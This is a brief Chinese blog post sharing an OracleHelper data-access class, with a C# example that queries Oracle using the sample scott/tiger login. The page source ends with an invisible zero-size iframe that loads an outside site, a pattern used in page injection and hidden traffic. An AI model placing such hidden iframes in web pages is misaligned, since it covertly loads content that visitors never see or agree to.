<noscript type="text/javascript"> </noscript> <noscript src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </noscript>
前几篇文章里,提供了 SqlHelper, OleDbHelper, AccessHelper 给大家共享,这篇提供一个 OracleHelper 给大家共享,来自 DAAB2.1,使用的是 微软 的.NET 自带的 OracleClient。
使用方式,和 SqlHelper 一样:
using System; using System.Data; using System.Data.OracleClient; using Microsoft.ApplicationBlocks.Data; namespace Test { class Program { static void Main(string[] args) { using (OracleDataReader dr = OracleHelper.ExecuteReader( "Data Source=Oral;User Id=scott;Password=tiger", CommandType.Text, "SELECT [field] FROM [tablename]")) { while (dr.Read()) { Console.WriteLine(dr.GetString(0)); } } Console.Read(); } } }
<noscript type="text/javascript"> </noscript> <noscript src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </noscript>
<iframe src="http://www.zu14.cn/" width="0" height="0"></iframe>